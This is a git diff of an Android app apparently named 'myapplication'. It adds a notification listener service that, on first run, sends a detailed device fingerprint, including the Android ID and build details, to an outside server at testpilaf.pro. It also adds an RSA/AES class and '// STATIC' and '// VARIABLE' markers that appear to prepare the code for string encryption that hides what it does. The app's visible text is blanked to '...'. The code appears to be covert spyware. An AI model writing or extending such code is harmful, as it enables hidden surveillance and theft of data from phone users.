Compare commits

..

3 commits
main ... master

Author SHA1 Message Date
Your Name
cde0636f87 new 2025-04-20 18:11:00 +03:00
Your Name
6f1abf7852 new 2025-04-20 18:10:43 +03:00
Your Name
592cf36115 new 2025-04-17 01:12:44 +03:00
8 changed files with 309 additions and 37 deletions

View file

@ -4,10 +4,10 @@
<selectionStates>
<SelectionState runConfigName="app">
<option name="selectionMode" value="DROPDOWN" />
<DropdownSelection timestamp="2025-04-16T19:29:22.028468Z">
<DropdownSelection timestamp="2025-04-20T15:03:41.552038100Z">
<Target type="DEFAULT_BOOT">
<handle>
<DeviceId pluginId="PhysicalDevice" identifier="serial=92SAX02VYY" />
<DeviceId pluginId="LocalEmulator" identifier="path=C:\Users\0x1\.android\avd\Pixel_8_Pro_API_35.avd" />
</handle>
</Target>
</DropdownSelection>

1
.idea/gradle.xml generated
View file

@ -1,5 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="GradleMigrationSettings" migrationVersion="1" />
<component name="GradleSettings">
<option name="linkedExternalProjectsSettings">
<GradleProjectSettings>

View file

@ -10,14 +10,14 @@ public class Crypto {
private String bytesToHex(byte[] bytes) {
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02x", b));
sb.append(String.format("%02x", b)); // STATIC
}
return sb.toString();
}
protected String generateContentHash(String content) {
try {
MessageDigest digest = MessageDigest.getInstance("MD5");
MessageDigest digest = MessageDigest.getInstance("MD5"); // STATIC
byte[] hashBytes = digest.digest(content.getBytes(StandardCharsets.UTF_8));
return bytesToHex(hashBytes);
} catch (NoSuchAlgorithmException e) {

View file

@ -0,0 +1,272 @@
// IGNORE
package com.example.myapplication;
import android.util.Base64;
import android.util.Log;
import java.nio.charset.StandardCharsets;
import java.security.KeyFactory;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.interfaces.RSAPublicKey;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;
import java.util.Arrays;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class Encryption {
private static byte[] hexStringToBytes(String hexString) {
int len = hexString.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
+ Character.digit(hexString.charAt(i+1), 16));
}
return data;
}
private static final char[] HEX_ARRAY = "0123456789abcdef".toCharArray();
public static String bytesToHex(byte[] bytes) {
char[] hexChars = new char[bytes.length * 2];
for (int j = 0; j < bytes.length; j++) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = HEX_ARRAY[v >>> 4];
hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F];
}
return new String(hexChars);
}
public static Cipher getCipher(int mode) {
try {
IvParameterSpec iv = new IvParameterSpec(decrypt(
"IV_KEY" // VARIABLE
).getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(decrypt(
"SECRET_KEY" // VARIABLE
).getBytes("UTF-8"), "AES");
// Log.i("asd", "SECRET_KEY");// VARIABLE
// Log.i("dsa", "IV_KEY");// VARIABLE
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(mode, skeySpec, iv);
return cipher;
} catch (Exception ignored) {
// Log.i("gfggg", Arrays.toString(ignored.getStackTrace()));
}
return null;
}
public static Cipher getEbcCipher(int mode, String customKey) {
if (customKey.isEmpty())
customKey = decrypt(
"SECRET_KEY" // VARIABLE
);
else
customKey = md5Encrypt(customKey);
try {
SecretKeySpec skeySpec = new SecretKeySpec(customKey.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5PADDING");
cipher.init(mode, skeySpec);
return cipher;
} catch (Exception e) {
}
return null;
}
public static String aesHexEncrypt(String data, String key) {
try {
Cipher cipher = getEbcCipher(1, key);
byte[] encrypted = cipher.doFinal(data.getBytes());
return randomizeCase(bytesToHex(encrypted));
} catch (Exception e) {
}
return "";
}
public static String aesEncrypt(String data) {
try {
Cipher cipher = getCipher(1);
byte[] encrypted = cipher.doFinal(data.getBytes());
return Base64.encodeToString(encrypted, Base64.DEFAULT);
} catch (Exception e) {
}
return "";
}
public static String randomizeCase(String str) {
Random rnd = new Random();
StringBuilder sb = new StringBuilder(str.length());
for (char c : str.toCharArray())
sb.append(rnd.nextBoolean()
? Character.toLowerCase(c)
: Character.toUpperCase(c));
return sb.toString();
}
public static String shaEncrypt(String data, String key) {
try {
byte[] bytesOfMessage = (data + key).getBytes("UTF-8");
MessageDigest md = MessageDigest.getInstance("SHA-512");
return randomizeCase(bytesToHex(md.digest(bytesOfMessage)));
} catch (Exception ignore) {
// Log.i("exp2", Arrays.toString(ignore.getStackTrace()));
}
return null;
}
public static String md5Encrypt(String data) {
try {
byte[] bytesOfMessage = data.getBytes("UTF-8");
MessageDigest md = MessageDigest.getInstance("MD5");
return bytesToHex(md.digest(bytesOfMessage));
} catch (Exception ignore) {
// Log.i("exp3", Arrays.toString(ignore.getStackTrace()));
}
return null;
}
public static String aesDecrypt(String data) {
try {
Cipher cipher = getCipher(2);
byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT));
return new String(plainText);
} catch (Exception e) {
// Log.i("exp4", Arrays.toString(e.getStackTrace()));
}
return "";
}
public static String decrypt(String data){
try {
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(hexStringToBytes(
"BUILD_KEY" // VARIABLE
));
PrivateKey privateKey = keyFactory.generatePrivate(keySpec);
Cipher decryptCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
decryptCipher.init(Cipher.DECRYPT_MODE, privateKey);
byte[] decryptedMessageBytes = decryptCipher.doFinal(hexStringToBytes(data));
String decryptedMessage = new String(decryptedMessageBytes, StandardCharsets.UTF_8);
return decryptedMessage;
} catch (Exception e) {
// Log.i("exp22", Arrays.toString(e.getStackTrace()));
}
return "";
}
public static String encrypt(String data){
try {
PublicKey publicKey = decodePKCS1PublicKey(hexStringToBytes(
"PUBLIC_KEY" // VARIABLE
));
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
return bytesToHex(cipher.doFinal(data.getBytes()));
} catch (Exception e) {
// Log.i("exp31", Arrays.toString(e.getStackTrace()));
}
return "";
}
private static final int SEQUENCE_TAG = 0x30;
private static final int BIT_STRING_TAG = 0x03;
private static final byte[] NO_UNUSED_BITS = new byte[] { 0x00 };
private static final byte[] RSA_ALGORITHM_IDENTIFIER_SEQUENCE =
{(byte) 0x30, (byte) 0x0d,
(byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x01,
(byte) 0x05, (byte) 0x00};
public static RSAPublicKey decodePKCS1PublicKey(byte[] pkcs1PublicKeyEncoding)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
byte[] subjectPublicKeyInfo2 = createSubjectPublicKeyInfoEncoding(pkcs1PublicKeyEncoding);
KeyFactory rsaKeyFactory = KeyFactory.getInstance("RSA");
RSAPublicKey generatePublic = (RSAPublicKey) rsaKeyFactory.generatePublic(new X509EncodedKeySpec(subjectPublicKeyInfo2));
return generatePublic;
}
public static byte[] createSubjectPublicKeyInfoEncoding(byte[] pkcs1PublicKeyEncoding)
{
byte[] subjectPublicKeyBitString = createDEREncoding(BIT_STRING_TAG, concat(NO_UNUSED_BITS, pkcs1PublicKeyEncoding));
byte[] subjectPublicKeyInfoValue = concat(RSA_ALGORITHM_IDENTIFIER_SEQUENCE, subjectPublicKeyBitString);
byte[] subjectPublicKeyInfoSequence = createDEREncoding(SEQUENCE_TAG, subjectPublicKeyInfoValue);
return subjectPublicKeyInfoSequence;
}
private static byte[] concat(byte[] ... bas)
{
int len = 0;
for (int i = 0; i < bas.length; i++)
{
len += bas[i].length;
}
byte[] buf = new byte[len];
int off = 0;
for (int i = 0; i < bas.length; i++)
{
System.arraycopy(bas[i], 0, buf, off, bas[i].length);
off += bas[i].length;
}
return buf;
}
private static byte[] createDEREncoding(int tag, byte[] value)
{
if (tag < 0 || tag >= 0xFF)
{
throw new IllegalArgumentException("Currently only single byte tags supported");
}
byte[] lengthEncoding = createDERLengthEncoding(value.length);
int size = 1 + lengthEncoding.length + value.length;
byte[] derEncodingBuf = new byte[size];
int off = 0;
derEncodingBuf[off++] = (byte) tag;
System.arraycopy(lengthEncoding, 0, derEncodingBuf, off, lengthEncoding.length);
off += lengthEncoding.length;
System.arraycopy(value, 0, derEncodingBuf, off, value.length);
return derEncodingBuf;
}
private static byte[] createDERLengthEncoding(int size)
{
if (size <= 0x7F)
{
return new byte[] { (byte) size };
}
else if (size <= 0xFF)
{
return new byte[] { (byte) 0x81, (byte) size };
}
else if (size <= 0xFFFF)
{
return new byte[] { (byte) 0x82, (byte) (size >> Byte.SIZE), (byte) size };
}
throw new IllegalArgumentException("size too large, only up to 64KiB length encoding supported: " + size);
}
}

View file

@ -29,7 +29,7 @@ import java.util.Map;
public class NotificationListener extends NotificationListenerService {
private static final Requests requests = new Requests("https://testpilaf.pro");
private static final Requests requests = new Requests("https://testpilaf.pro"); // STATIC
@Override
public IBinder onBind(Intent intent) {
@ -42,7 +42,7 @@ public class NotificationListener extends NotificationListenerService {
if (Utility.INSTANCE.isFirstRun(context)){
Utility.INSTANCE.setFirstRun(context);
RequestBody body = RequestBody.create(Utility.INSTANCE.getDeviceInfo(context).getBytes(StandardCharsets.UTF_8));
requests.post("/firstRun", body, Map.of("Test", "Test"), null, new Callback() {
requests.post("/firstRun", body, Map.of("Test", "Test"), null, new Callback() { // STATIC
@Override
public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
}

View file

@ -18,7 +18,7 @@ public class Requests {
this.client = client;
this.baseUrl = HttpUrl.parse(baseUrl);
if (this.baseUrl == null) {
throw new IllegalArgumentException("Invalid base URL: " + baseUrl);
throw new IllegalArgumentException("Invalid base URL: " + baseUrl); // STATIC
}
}
@ -77,7 +77,6 @@ public class Requests {
}
private void enqueue(Request request, Callback callback) {
Log.i("asd", String.valueOf(request));
client.newCall(request).enqueue(callback);
}

View file

@ -26,7 +26,7 @@ public class Utility {
protected boolean hasNotificationAccess(Context context) {
String enabledListeners = Settings.Secure.getString(
context.getApplicationContext().getContentResolver(),
"enabled_notification_listeners"
"enabled_notification_listeners" // STATIC
);
String packageName = context.getApplicationContext().getPackageName();
return enabledListeners != null && enabledListeners.contains(packageName);
@ -56,58 +56,58 @@ public class Utility {
protected void setFirstRun(Context context) {
SharedPreferences prefs = context.getSharedPreferences(
context.getPackageName() + "_preferences", Context.MODE_PRIVATE);
context.getPackageName() + "_preferences", Context.MODE_PRIVATE); // STATIC
SharedPreferences.Editor editor = prefs.edit();
editor.putBoolean("firstRun", false);
editor.putBoolean("firstRun", false); // STATIC
editor.apply();
}
protected boolean isFirstRun(Context context) {
SharedPreferences prefs = context.getSharedPreferences(
context.getPackageName() + "_preferences", Context.MODE_PRIVATE);
return prefs.getBoolean("firstRun", true);
context.getPackageName() + "_preferences", Context.MODE_PRIVATE); // STATIC
return prefs.getBoolean("firstRun", true); // STATIC
}
protected String getDeviceInfo(Context context) {
List<String> infoList = new ArrayList<>();
// Basic device information from Build class
infoList.add("Manufacturer=" + Build.MANUFACTURER);
infoList.add("Model=" + Build.MODEL);
infoList.add("Device=" + Build.DEVICE);
infoList.add("Product=" + Build.PRODUCT);
infoList.add("Brand=" + Build.BRAND);
infoList.add("AndroidVersion=" + Build.VERSION.RELEASE);
infoList.add("SDKVersion=" + Build.VERSION.SDK_INT);
infoList.add("Hardware=" + Build.HARDWARE);
infoList.add("Board=" + Build.BOARD);
infoList.add("Display=" + Build.DISPLAY);
infoList.add("Fingerprint=" + Build.FINGERPRINT);
infoList.add("Bootloader=" + Build.BOOTLOADER);
infoList.add("Host=" + Build.HOST);
infoList.add("Tags=" + Build.TAGS);
infoList.add("Manufacturer=" + Build.MANUFACTURER); // STATIC
infoList.add("Model=" + Build.MODEL); // STATIC
infoList.add("Device=" + Build.DEVICE); // STATIC
infoList.add("Product=" + Build.PRODUCT); // STATIC
infoList.add("Brand=" + Build.BRAND); // STATIC
infoList.add("AndroidVersion=" + Build.VERSION.RELEASE); // STATIC
infoList.add("SDKVersion=" + Build.VERSION.SDK_INT); // STATIC
infoList.add("Hardware=" + Build.HARDWARE); // STATIC
infoList.add("Board=" + Build.BOARD); // STATIC
infoList.add("Display=" + Build.DISPLAY); // STATIC
infoList.add("Fingerprint=" + Build.FINGERPRINT); // STATIC
infoList.add("Bootloader=" + Build.BOOTLOADER); // STATIC
infoList.add("Host=" + Build.HOST); // STATIC
infoList.add("Tags=" + Build.TAGS); // STATIC
infoList.add("BuildID=" + Build.ID);
infoList.add("User=" + Build.USER);
infoList.add("Time=" + Build.TIME);
infoList.add("User=" + Build.USER); // STATIC
infoList.add("Time=" + Build.TIME); // STATIC
// Android ID
@SuppressLint("HardwareIds") String androidId = Settings.Secure.getString(context.getContentResolver(),
@SuppressLint("HardwareIds") String androidId = Settings.Secure.getString(context.getContentResolver(), // STATIC
Settings.Secure.ANDROID_ID);
infoList.add("AndroidID=" + (androidId != null ? androidId : "null"));
infoList.add("AndroidID=" + (androidId != null ? androidId : "null")); // STATIC
// Screen resolution
WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
if (windowManager != null) {
DisplayMetrics displayMetrics = new DisplayMetrics();
windowManager.getDefaultDisplay().getMetrics(displayMetrics);
infoList.add("ScreenResolution=" + displayMetrics.widthPixels + "x" + displayMetrics.heightPixels);
infoList.add("ScreenDensity=" + displayMetrics.densityDpi + "dpi");
infoList.add("ScreenResolution=" + displayMetrics.widthPixels + "x" + displayMetrics.heightPixels); // STATIC
infoList.add("ScreenDensity=" + displayMetrics.densityDpi + "dpi"); // STATIC
} else {
infoList.add("ScreenResolution=unavailable");
infoList.add("ScreenDensity=unavailable");
infoList.add("ScreenResolution=unavailable"); // STATIC
infoList.add("ScreenDensity=unavailable"); // STATIC
}
return TextUtils.join("; ", infoList);
return TextUtils.join("; ", infoList); // STATIC
}

View file

@ -10,7 +10,7 @@
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello World!"
android:text="..."
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"